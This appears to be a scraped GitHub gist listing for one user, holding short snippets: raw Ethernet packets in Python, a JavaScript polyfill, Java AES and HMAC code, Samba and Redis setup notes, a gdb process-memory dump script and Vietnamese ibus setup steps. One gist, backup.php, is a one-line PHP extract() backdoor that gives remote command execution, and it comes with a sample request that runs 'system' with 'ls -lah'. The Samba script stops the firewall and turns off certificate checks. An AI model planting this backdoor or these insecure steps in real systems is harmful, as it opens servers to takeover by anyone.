Skip to content

Instantly share code, notes, and snippets.

View vinhjaxt's full-sized avatar
🏠
Working from home

vinhjaxt

🏠
Working from home
View GitHub Profile
@vinhjaxt
vinhjaxt / sendeth.py
Created November 10, 2016 06:39 — forked from cslarsen/sendeth.py
One way of sending raw Ethernet packets in Python
"""Demonstrates how to construct and send raw Ethernet packets on the
network.
You probably need root privs to be able to bind to the network interface,
e.g.:
$ sudo python sendeth.py
"""
from socket import *
@vinhjaxt
vinhjaxt / object-watch.js
Created July 19, 2017 19:07 — forked from eligrey/object-watch.js
object.watch polyfill in ES5
/*
* object.watch polyfill
*
* 2012-04-03
*
* By Eli Grey, http://eligrey.com
* Public Domain.
* NO WARRANTY EXPRESSED OR IMPLIED. USE AT YOUR OWN RISK.
*/
package demo;
import javax.crypto.Cipher;
import javax.crypto.spec.SecretKeySpec;
public class aes {
/**
* java字节码转字符串
@vinhjaxt
vinhjaxt / Signature.java
Created July 23, 2017 00:24 — forked from border/Signature.java
Signature for php and java
static String generateSignature () {
String encoded = "";
String type = "HmacSHA1";
try {
byte[] key = ("KEY").getBytes("UTF-8");
byte[] Sequence = ("hello").getBytes("UTF-8");
Mac HMAC = Mac.getInstance(type);
SecretKeySpec secretKey = new SecretKeySpec(key, type);
@vinhjaxt
vinhjaxt / backup.php
Created October 9, 2017 12:07 — forked from leonjza/backup.php
PHP extract() Backdoor RCE | Sample usage: foo.bar/backup.php?ctime=system&atime=ls -lah
<?php extract($_REQUEST); @die($ctime($atime));
# This is the main Samba configuration file. You should read the
# smb.conf(5) manual page in order to understand the options listed
# here. Samba has a huge number of configurable options (perhaps too
# many!) most of which are not shown in this example
#
# For a step to step guide on installing, configuring and using samba,
# read the Samba-HOWTO-Collection. This may be obtained from:
# http://www.samba.org/samba/docs/Samba-HOWTO-Collection.pdf
#
# Many working examples of smb.conf files can be found in the
@vinhjaxt
vinhjaxt / smb.sh
Last active September 24, 2018 18:16
#!/usr/bin/env bash
rm -rf /home/sambashare
mkdir /home/sambashare
echo 'Hello' > /home/sambashare/hello.txt
sudo yum install samba samba-client samba-common -y
sudo service iptables stop
cp /etc/samba/smb.conf /etc/samba/smb.conf.bak
rm -f /etc/samba/smb.conf
wget https://gist.github.com/vinhjaxt/148c47727de5dc9ad5332ed172b899c1/raw/774883da91c0775fa9f48d8f46a7d5edd2383b03/smb.conf --no-check-certificate -O /etc/samba/smb.conf
service smb restart
@vinhjaxt
vinhjaxt / redis_cheatsheet.bash
Created October 18, 2018 13:00 — forked from LeCoupa/redis_cheatsheet.bash
Redis Cheatsheet - Basic Commands You Must Know --> UPDATED VERSION --> https://github.com/LeCoupa/awesome-cheatsheets
# Redis Cheatsheet
# All the commands you need to know
redis-server /path/redis.conf # start redis with the related configuration file
redis-cli # opens a redis prompt
# Strings.
#!/bin/bash
grep rw-p /proc/$1/maps \
| sed -n 's/^\([0-9a-f]*\)-\([0-9a-f]*\) .*$/\1 \2/p' \
| while read start stop; do \
gdb --batch --pid $1 -ex \
"dump memory $1-$start-$stop.dump 0x$start 0x$stop"; \
done
$ sudo apt install ibus-gtk* ibus-qt*
$ im-switch -s ibus # hoặc im-chooser với fedora
# or
$ im-config -s ibus # hoặc im-chooser với fedora
# Logout and re-login
# Sau đó cài thêm ibus-bamboo nữa là ok :)))